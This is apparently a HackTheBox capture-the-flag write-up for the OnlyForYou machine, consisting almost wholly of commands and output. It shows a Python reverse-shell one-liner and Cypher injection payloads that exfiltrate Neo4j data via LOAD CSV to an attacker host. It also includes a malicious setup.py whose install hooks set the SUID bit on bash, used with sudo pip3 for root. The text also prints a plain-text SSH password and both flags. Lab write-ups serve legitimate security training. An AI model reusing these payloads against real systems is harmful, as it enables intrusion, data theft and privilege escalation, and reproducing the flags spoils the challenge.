HackTheBox OnlyForYou

$ nmap -sV -sC -Pn -p1-65535 -oN 10.10.11.210 10.10.11.210
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-19 08:42 EDT
Nmap scan report for 10.10.11.210
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_  256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2148.45 seconds

echo "10.10.11.210 only4you.htb" | sudo tee -a /etc/hosts

$ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://only4you.htb -t 20 --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://only4you.htb
[+] Method:          GET
[+] Threads:         20
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: beta.only4you.htb Status: 200 [Size: 2191]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

$ unzip source.zip 
Archive:  source.zip
   creating: beta/
  inflating: beta/app.py             
   creating: beta/static/
   creating: beta/static/img/
  inflating: beta/static/img/image-resize.svg  
   creating: beta/templates/
  inflating: beta/templates/400.html  
  inflating: beta/templates/500.html  
  inflating: beta/templates/convert.html  
  inflating: beta/templates/index.html  
  inflating: beta/templates/405.html  
  inflating: beta/templates/list.html  
  inflating: beta/templates/resize.html  
  inflating: beta/templates/404.html  
   creating: beta/uploads/
   creating: beta/uploads/resize/
   creating: beta/uploads/list/
   creating: beta/uploads/convert/
  inflating: beta/tool.py

@app.route('/list', methods=['GET'])
def list():
    return render_template('list.html')

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

export RHOST="10.10.16.30";export RPORT=4242;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

rlwrap nc -lnvp 4242

$ netstat -tulpn | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1051/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

$ ./c server --reverse --port 4244
2023/08/19 10:51:59 server: Reverse tunnelling enabled
2023/08/19 10:51:59 server: Fingerprint 53Gxhuvn6Ax3lHNCuurKiBh0PNNNbSXWpNF7AUKjUzA=
2023/08/19 10:51:59 server: Listening on http://0.0.0.0:4244

$ ./c client 10.10.16.30:4244 R:58001:127.0.0.1:8001 &
2023/08/19 14:55:36 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:55:37 client: Connected (Latency 50.508471ms)
$ ./c client 10.10.16.30:4244 R:53000:127.0.0.1:3000 &
2023/08/19 14:56:20 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:56:21 client: Connected (Latency 49.871227ms)
$ ./c client 10.10.16.30:4244 R:57474:127.0.0.1:7474 &
2023/08/19 14:57:00 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:01 client: Connected (Latency 64.101164ms)
$ ./c client 10.10.16.30:4244 R:53306:127.0.0.1:3306 &
2023/08/19 14:57:46 client: Connecting to ws://10.10.16.30:4244
2023/08/19 14:57:47 client: Connected (Latency 49.919297ms)

python3 -m http.server 8081

' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.30:8081/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

'OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.30:8081/?label='+label as l RETURN 0 as _0 //

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.30:8081/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

$ ssh [email protected]
ThisIs4You

-bash-5.0$ ls
user.txt
-bash-5.0$ cat user.txt 
de020dc2d84baed3354c789126cdbfe6

-bash-5.0$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

$ git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi
Cloning into 'this_is_fine_wuzzi'...
remote: Enumerating objects: 37, done.
remote: Counting objects: 100% (37/37), done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 37 (delta 17), reused 8 (delta 1), pack-reused 0
Receiving objects: 100% (37/37), 9.14 KiB | 1.83 MiB/s, done.
Resolving deltas: 100% (17/17), done.
$ nano setup.py

import os

from setuptools import find_packages, setup
from setuptools.command.egg_info import egg_info
from setuptools.command.install import install

def RunCommand():
    os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)

class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

$ python3 -m venv env
$ source env/bin/activate
$ pip install setuptools build
$ python3 -m build
$ ls -la dist                                            
total 16
drwxr-xr-x 2 user user 4096 Aug 19 11:43 .
drwxr-xr-x 7 user user 4096 Aug 19 11:43 ..
-rw-r--r-- 1 user user 1901 Aug 19 11:43 this_is_fine_wuzzi-0.0.1-py3-none-any.whl
-rw-r--r-- 1 user user 2754 Aug 19 11:43 this_is_fine_wuzzi-0.0.1.tar.gz

cd dist
git init
git add *
git commit -m "init"
git remote add origin http://127.0.0.1:53000/john/newrepo.git
git push --set-upstream origin master

$ sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
Collecting http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
  Downloading http://127.0.0.1:3000/john/newrepo/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
     - 2.8 kB 10.6 MB/s
  Saved ./this_is_fine_wuzzi-0.0.1.tar.gz
Successfully downloaded this-is-fine-wuzzi
$ /bin/bash -p

bash-5.0# cd /root
bash-5.0# ls
root.txt  scripts
bash-5.0# cat root.txt
1063c2d3ad0477bc7bf395ec165b572e